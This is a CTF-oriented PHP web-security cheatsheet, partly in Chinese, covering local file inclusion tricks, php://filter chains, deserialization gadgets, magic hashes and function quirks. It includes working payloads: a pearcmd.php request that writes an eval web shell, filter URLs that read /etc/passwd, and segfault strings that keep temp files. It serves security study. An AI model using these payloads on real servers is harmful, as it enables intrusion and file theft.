---
title: 'php'
tags: cheatsheet
---
:::spoiler TOC
[TOC]
:::
:::spoiler 待整理
- [ ] http://www.madchat.fr/coding/php/secu/
:::
PHP
===
- https://phrack.org/issues/72/5_md#article
## tool
- [3v4l](https://3v4l.org/): run php in all version
- https://www.php.net/manual/en/funcref.php
- [src](https://github.com/php/php-src/)
:::spoiler 讀 src 小筆記
```
PHP_FUNCTION(file_get_contents): 找 php function 定義
```
:::
## version feature
### < 5.3.4
- %00 截斷漏洞
- `aaa.php\x00.jpg` 前後端: jpg; 解析: php
## 副檔名 extension
- .php, .phpt, .phtml, .php[1-7]
## config
- location
- phpinfo.php
- Configuration File (php.ini) Path
- Loaded Configuration File
- Scan this dir for additional .ini files
- common
- /etc/php/php.ini
- /etc/php5/php.ini
- docker
- /usr/local/etc/php
- $PHP_INI_DIR
- to config
- ini_set
- [配置模式](https://www.php.net/manual/en/configuration.changes.modes.php):影響配置方式
- [配置項總表](https://www.php.net/manual/en/ini.list.php)
## Syntax
- `$a[]=1;$a[]=2; // $a = [1,2]`: array append
- [variable function](https://www.php.net/manual/en/functions.variable-functions.php)
- `'system'('ls');`: call function by string
- `$a='system';$a('ls');`
- `class A{static function f(){}};['A','f']();` : call class by array
- [use](https://www.php.net/manual/en/functions.anonymous.php#example-184): `$a = $function () use ($var) {};`
- [reference operator](https://www.php.net/manual/en/language.references.php)
- [foreach](https://www.php.net/manual/en/control-structures.foreach.php)
- `as` 會宣告變數 `foreach([1] as $a);var_dump($a);`
- `as` 可以 reference,但是 `as` 操作本身等同 assign,所以要小心[副作用](https://www.php.net/manual/en/language.references.php#87532)
- [arrow function](https://www.php.net/manual/en/functions.arrow.php):`$a=fn($b)=>$b+1;`
- [Variable functions](https://www.php.net/manual/en/functions.variable-functions.php)
```
$func = array("Foo", "bar");
$func(); // prints "bar" static
$func = array(new Foo, "baz");
$func(); // prints "baz" instance
$func = "Foo::bar";
$func(); // prints "bar" static
```
- [first class callable syntax](https://www.php.net/manual/en/functions.first_class_callable_syntax.php): >=8.1.0
- `class a{};$b='a';new $a;` 沒辦法直接 `new 'a';`
- [Global namespace](https://www.php.net/manual/en/language.namespaces.global.php)
- `'\system'('ls');`
- [Loose Comparison](https://www.php.net/manual/en/types.comparisons.php)
- 臨時函式
- `'\0' + name + filename + ':' + start_lineno + '$' + rtd_key_counter`
- https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html
## Regex [PCRE](https://www.php.net/manual/en/reference.pcre.pattern.syntax.php)
- [Internal option setting](https://www.php.net/manual/en/regexp.reference.internal-options.php)
## PHP tags
- config: `short_open_tag`
- `<?php`;Standard tags
- `<?=` = `<?php echo`:Short echo tag
- `<?`: Short tag, default enabled
## header
- headers must send before any body.
- to disable `header` e.g. CSP
- PHP Warning
- parameter limits
- `max_input_vars` default is 1000, the limit parameters for $_GET, $_POST
- $_FILES, limit 20
- Buffering
- body buffering 4096 bytes by default
- ref
- https://x.com/pilvar222/status/1784618120902005070
## LFI
- [phpInclude](https://hackmd.io/@ginoah/phpInclude): 偶像 ginoah 和 bookgin 整理至 2021/12(?) 的 LFI 手法大全, LFI 在 CTF 上的技巧演化
- [The end of PHP LFI challenges (?)](https://hxp.io/blog/88/The-end-of-PHP-LFI-challenges-/): hxp 整理至 2021/12 的 LFI 技巧
- [Docker PHP裸文件本地包含综述](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html): P神整理至 2021/11 前的技巧
> 2021/12 多了一堆黑魔法...
- https://ca01h.top/Web_security/php_related/12.PHP%E7%9A%84LFI%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/
- [PHP_LFI_rfc1867_temporary_files](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf) on windows, `<path>\<pre><uuuu>.TMP`
### Check List
> from easy to hard
- wrapper & filename no length limit?
- PHP_INCLUDE_TO_SHELL_CHAR_DICT
- Side Channel to AFR
- use official PHP docker image?
> `/usr/local/lib/php/pearcmd.php`
- pearcmd.php LFI
- cgi-bin?
- `/proc/self/environ` & `User-Agent`
- webserver log?
> `/var/log/apache2/access.log`
> `/var/log/apache2/error.log`
- apache
> TODO
- nginx
- ssh?
- `/var/log/auth.log`
- directory readable?
> `/tmp/PHP`
> `/var/tmp`
> `/var/lib/php/sessions`
> `/var/lib/php/`
> `/var/lib/php/sessions`
> `/tmp/`
> `/tmp/sessions/`
- enable POST upload?
> Linux `.../php[a-zA-Z0-9]{6}`
> Windows `.../php[A-F0-9]{4}.tmp`
- `file_uploads=On`
- phpinfo -> phpinfo race LFI
- PHP 7/7.2 -> segment fault bruteforce LFI
- enable session upload progress?
> `.../upload_progress_<PHPSESSID>`
- `session.upload_progress.enabled`
- session upload progress LFI
- controllable & readable session file?
> `.../sess_<PHPSESSID>`
- `$_SESSION['xxxx'] = 'ooooo';`
- session LFI
- Windows?
- wildcard `<<>"`
- UNC bypass `allow_url_fopen=Off = 0` to RFI
- wrapper & extension?
- zip
- phar deserialization attack
- http(RFI)
- PHP-FPM + Nginx with the same user & host?
- Nginx Assistance
- Nginx Fastcgi Tempfile
### leave payload / controllable data
:::spoiler TOC
- [file upload temporary files](#file-upload-temporary-files)
- [controllable session](#controllable-session)
- [session upload progress](#session-upload-progress)
- [cgi-bin](#cgi-bin)
- [Webserver / ssh log](#Webserver--ssh-log)
- [Nginx Assistance](#Nginx-Assistance)
- [Nginx Fastcgi Tempfile](#Nginx-Fastcgi-Tempfile)
:::
#### file upload temporary files
- http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
```
<form action="upload.php" method="post" enctype="multipart/form-data">
Send these files:<br />
<input name="userfile[]" type="file" /><br />
<input name="userfile[]" type="file" /><br />
<input type="submit" value="Send files" />
</form>
```
> ref Gynvael Coldwind

- https://www.php.net/manual/en/features.file-upload.php
- POST/PUT upload
- Linux: `${upload_tmp_dir}/php[a-zA-Z0-9]{6}`
- Windows: `C:/Windows/php[A-F0-9]{4}.tmp`
> 多文件: https://www.php.net/manual/en/features.file-upload.multiple.php 可利用繞過檢測?
- 處理完後自動刪除,需要 race 或阻止刪除發生
- phpinfo race
- [LFI WITH PHPINFO() ASSISTANCE](https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf)
- php7/7.2 segment fault
- php < 7.2: `php://filter/string.strip_tags/resource=/etc/passwd`
- php7: `php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA`
- 觸發 segment fault 繞過刪除 temp file 步驟
- 爆破 `/tmp/php[a-zA-Z0-9]{6}`
- windows 通配符
- `C:\Windows\php<<`
#### controllable session
- `$_SESSION`
- https://www.php.net/manual/en/session.configuration.php
- default cookie name `PHPSESSID`
- cannot use `.` in name
- default location
```
# linux
/var/lib/php/sess_<PHPSESSID>
/var/lib/php/sessions/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
/tmp/sessions/sess_<PHPSESSID>
# windows
c:\WINDOWS\TEMP\
c:\php\sessions\
c:\php5\sessions\
c:\php4\sessions\
```
#### session upload progress
- https://www.php.net/manual/en/session.upload-progress.php
- `session.upload_progress.enabled`
> `.../upload_progress_<PHPSESSID>`
- POST with `PHP_SESSION_UPLOAD_PROGRESS=xxxx`
- content in upload progress `upload_progress_xxxx|.....`
#### cgi-bin
- php-cgi
- `/proc/self/environ` & `User-Agent`
#### Webserver / ssh log
- https://hackmd.io/vPxjXBiWTXS_A8sS5EkyoQ#LFI
#### Nginx Assistance
- https://bierbaumer.net/security/php-lfi-with-nginx-assistance/
- 透過 [client body buffering](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size)
- x64 POST body 超過 16k會寫檔
- `/var/lib/nginx/body/$X`
- 可以透過 fd race 存取 deleted
- Soft link loop 擺脫路徑解析問題
- 爆破 `/proc/$pid/cmdline` 找 nginx pid
#### Nginx Fastcgi Tempfile
- [hxp CTF 2021 - A New Novel LFI - Zedd](https://tttang.com/archive/1384/)
- [fastcgi_buffering](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_buffering) response 超過約 32k
- `/var/lib/nginx/fastcgi/x/y/0000000yx`
### Other
#### pearcmd.php
- php docker image 預設會有
- pearcmd.php
- https://blog.csdn.net/rfrder/article/details/121042290
- `/usr/local/lib/php/pearcmd.php`
- `+` 分隔參數 `?/usr/local/lib/php/pearcmd.php&+-c+/tmp/.feng.php+-d+man_dir=<?eval($_GET[0]);?>+-s`
### Include 技巧
- [phar](#phar)
- [偽協議](#偽協議)
- phpinfo.php race: https://github.com/vulhub/vulhub/tree/master/php/inclusion
- 塞大垃圾讓 phpinfo 秀出 temp filename 和清除檔案出現時間差
- 需操作 socket
- [路徑解析](#路徑解析-path-resolve)
## phar
- config
- phar.readonly = Off
- 改變附檔名,繞 suffix
- 上傳限制 `.png`,LFI 會 append `.php` `phar://aaa.png/bbb.php`
## 偽協議
```
php://filter/[filters]/resource=[URI]
filters = ''|filter('|'filter)+
filter 會經過 URL decode,可以繞過 ./ 限制
convert.iconv.$in['.\']$out
```
- https://www.php.net/manual/en/filters.php
- https://segmentfault.com/a/1190000018991087
- https://www.freebuf.com/articles/web/266565.html
- `php://filter/read=convert.base64-encode/resource=/etc/passwd`
- base64-decode: 忽略所有非法字元後串接, base64_decode("a \xddb= =")=> base64_decode("ab=="),`=` 合法但是 decode 後沒有對應的字元所以會造成截斷,可以用 `convert.iconv.UTF-8.UTF-7` 去掉 `=`
- consumed: 消耗字元
- convert.iconv.\$in.\$out: php 預設 utf-8, 垃圾 byte 可能導致編碼錯誤,透過 encoding 將垃圾 byte 轉成垃圾字元,再用 base64-decode 清除垃圾字元
- e.g. utf-16le => utf-8
- supprted encoding https://www.php.net/manual/en/mbstring.supported-encodings.php
- convert.quoted-printable-decode: "=aa" => "\xaa"
- dechunk: http chunk encoding
- 如果開頭是 [0-9a-fA-F],parse 失敗會清空
```
root@a04f61d7ff35:/tmp# echo $'1\r\nT\r\n0ART' > /tmp/test && php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test")."\n";'
T
root@a04f61d7ff35:/tmp# echo $'aaaa' > /tmp/test && php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test")."\n";'
root@a04f61d7ff35:/tmp# echo $'zzzz' > /tmp/test && php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test")."\n";'
zzzz
````
- string.strip_tags(<PHP 7.3.0): 清除 tag <>,會清除為閉合的 tag `b<aaa` => `b`
- 黑魔法
- PHP_INCLUDE_TO_SHELL_CHAR_DICT by [loknop](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)&[wupco](https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT)
- 不用控檔案,透過各種操作弄出想要的字串
- 要檔名可控且不限長度
- Side channel to AFR by [hashkitten](https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/minimal-php)
- 要檔名可控且不限長度
- 依靠 error oracle 讀檔
- 使用 php filter 實現將任意字元調換到第一個、分辨第一個字元是什麼、透過 dechunk 觸發 memory exceed limit 達成 oracle
- https://github.com/synacktiv/php_filter_chains_oracle_exploit
- 詳細解釋 [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)
- [CVE-2021-3129](https://www.ambionics.io/blog/laravel-debug-rce)
## 路徑解析 path resolve
- Soft link loop 可以避免 `php_sys_lstat` 解析 fd 到 deleted file: `include(/proc/self/root/proc/self/root/proc.../proc/34/fd/15)`
- [php源码分析 require_once 绕过不能重复包含文件的限制](https://www.anquanke.com/post/id/213235): 繞過刪除限制
- [Windows 通配符](#Windows-FindFirstFile-API-正規化)
## debug
- show all error
- php
```
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
```
- .htaccess
```
php_flag display_startup_errors on
php_flag display_errors on
```
- .ini
```
display_errors = on
```
## php magic hash number
- https://github.com/spaze/hashes
- md5
- `p == hash(p)`:`0e215962017=>0e291242476940776845150308577824`
- `hash(p) == 0`:`12832323351hello=>0e107303994101791601610489605716`
- `hash(num) == 0`: `240610708=>0e462097431906509019562988736854`
- `hash(UPPER) == 0`: `QLTHNDT=>0e405967825401955372549139051580`
- `.V;m=*]b?-=>00e45653718969294213009554265803`
## functions
### `require_once`
- https://www.anquanke.com/post/id/213235
- 可以繞過一次的限制
### [`uniqid`](https://www.php.net/manual/en/function.uniqid.php)
> Returns timestamp based unique identifier as a string.
- 可以被爆破出來
### [`move_uploaded_file`](https://www.php.net/manual/en/function.move-uploaded-file.php)
> make sure that the file name not bigger than 250 characters.
- filename 會失敗
- from 非 uploaded file 會失敗
- 通常 > 255 就會失敗 [ref](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits)
### `parse_url`
:::spoiler usage
```
print(parse_url('scheme://user:pass@host/path?query#fragment'))
(
[scheme] => scheme
[host] => host
[user] => user
[pass] => pass
[path] => /path
[query] => query
[fragment] => fragment
)
```
:::
- parse_url 不會做 urldecode,但是一些協議在 file_get_contents 等等會先做 urldecode,因此可以繞過限制
```
// kaibro Tricky Web
> $file = 'data:,%2f%2f/';
> print_r(parse_url($file));
Array
(
[scheme] => data
[path] => ,%2f%2f/
)
> echo file_get_contents($file);
///
```
- parse 邏輯
- [php_url_parse_ex2](https://github.com/php/php-src/blob/master/ext/standard/url.c#L104)
- `scheme = 1*[ lowalpha | digit | "+" | "-" | "." ] `
- 先解析 `fragement` 後才是 `query`
### `filter_var`
- 過長截斷繞過https://pwning.systems/posts/php_filter_var_shenanigans/
### `sha1`
- 7.4.0 - 7.4.30: 非字串會跳 warning 回傳 null
- 8: 修補跳 Fatal Error
-
### [`preg_match`](https://www.php.net/manual/zh/function.preg-match.php)
- 使用 PCRE
- 7.4.0 - 7.4.30: 第一或第二參數非字串回傳 false
- 結合 first class callable `$a=['A','m'];if(!preg_match('/a-z/i',$a))$a();`
- 8.0.1 - 8.0.21, 8.1.0 - 8.1.8: 第一或第二參數非字串跳 error
- regex 跳脫錯誤
- wrong `var_dump(preg_match("/\\|a/", "\\"));`
- correct `var_dump(preg_match("/\\\\|a/", "\\"));`
- 回溯上限是 1,000,000
```
// by Kaibro
<?php
if(preg_match('/UNION.+?SELECT/is', 'UNION/*'.str_repeat("a",1000000)."*/SELECT")) {
die('Failed');
}
die('SQL Injection');
```
### mysql_real_escape_string
- [MySQL 搭配 `NO_BACKSLASH_ESCAPES` 時,有機會繞過](https://stackoverflow.com/a/23277864)
### strcmp
- 相等回傳 0
- 傳入非字串回傳 null, `var_dump(strcmp([],'secret') == strcmp('secret','secret'));`
- php 8 修復ㄌ
### __HALT_COMPILER()
- 只能在最外層呼叫,後面內容不解析
- 類似註釋效果?
## cgi mode
- PATH_INFO, SCRIPT_NAME 解析問題
- [nginx](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#passing-uncontrolled-requests-to-php)
- `/aaa.jpg/bbb.php`
- 不存在 bbb.php 的話會查看 aaa.jpg
- `cgi.fix_pathinfo=0` 修補
## Path Normalization
- https://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/
## Windows
### Windows FindFirstFile API 正規化
- `<`->`*`,一個有時會失效,連續兩個 `<` 轉換比較穩定
- `>`->`?`
- `"` -> `.`
- 可以忽略開頭的 `.`, `include(htaccess) === include(.htaccess)`
- 可以繞過 `allow_url_fopen=Off`(RFI): `include('\\remote\xxx.php')`
- `a.php/.` -> `a.php`
- [Oddities of PHP file access in Windows®.Cheat-sheet.](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf)
- [PHP和Windows文件通配符](https://www.sec-note.com/2018/03/14/php%E5%92%8CWINDOWS%E6%96%87%E4%BB%B6%E9%80%9A%E9%85%8D%E7%AC%A6/)
- [PHP_LFI_rfc1867_temporary_files](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)
## serialize/unserialize
:::spoiler ref
https://www.anquanke.com/post/id/251366
:::
- 類名 case insensitive
```
<?php
class B{
}
$a = new b();
$a = unserialize('O:1:"b":0:{}');
print_r($a);
//
B Object
(
)
```
- `serialize`, `unserialze`
- [phpggc](https://github.com/ambionics/phpggc)
- fast destruct
- 構造有問題的序列化字串,讓他解析失敗後提前觸發 object `__destruct`
> 如果 parent object 有 `__wakeup` 的話順序不會被打亂]
:::spoiler code
```
class A{
function __destruct()
{
echo "A::destruct\n";
}
}
class B{
function __wakeup()
{
echo "B::wakeup\n";
}
function __destruct()
{
echo "B::destruct\n";
}
}
```
```
// 正常
$a = unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}}');
//
B::wakeup
A::destruct
B::destruct
```
```
// fast destruct
$a = unserialize('O:1:"A":2:{s:1:"b";O:1:"B":0:{}}');
//
PHP Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 19
Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 19
PHP Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 19
Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 19
A::destruct
B::wakeup
B::destruct
// 如果 A 有定義 __wakeup A::destruct 不會被觸發
PHP Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 23
Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 23
PHP Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 23
Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 23
B::wakeup
B::destruct
```
:::
- __PHP_Incomplete_Class
- `__PHP_Incomplete_Class_Name` 帶要找的類名
- 可以加其他 property
- 序列化時若無 `__PHP_Incomplete_Class_Name` 則 property 會被清空
```
<?php
$a = unserialize('O:22:"__PHP_Incomplete_Class":1:{s:1:"b";s:3:"cmd";}');
print_r($a);
print_r(serialize($a));
//
php__PHP_Incomplete_Class Object
(
[b] => cmd
)
O:22:"__PHP_Incomplete_Class":0:{}
```
- 可以繞檢測(?
- 不只 magic method, interface 也是 gadget
- e.g. foreach 觸發 getiterator
- https://www.php.net/manual/en/reserved.interfaces.php
- https://www.php.net/manual/en/class.traversable.php
- https://speakerdeck.com/alertot/php-object-injection-revival?slide=54
- Reference Trick
- https://github.com/paul-axe/ctf/blob/master/wctf2019/p-door/p-door.pdf
- Ref type `$b = &$a`
## TODO
- off by one error
> kaibro
>



- bypass gd manipulate
- https://www.synacktiv.com/en/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html
- store
- extension guess
> The file's extension will be determined by examining the file's MIME type.
### binary
- https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/
- https://blog.orange.tw/posts/2021-02-a-journey-combining-web-and-binary-exploitation/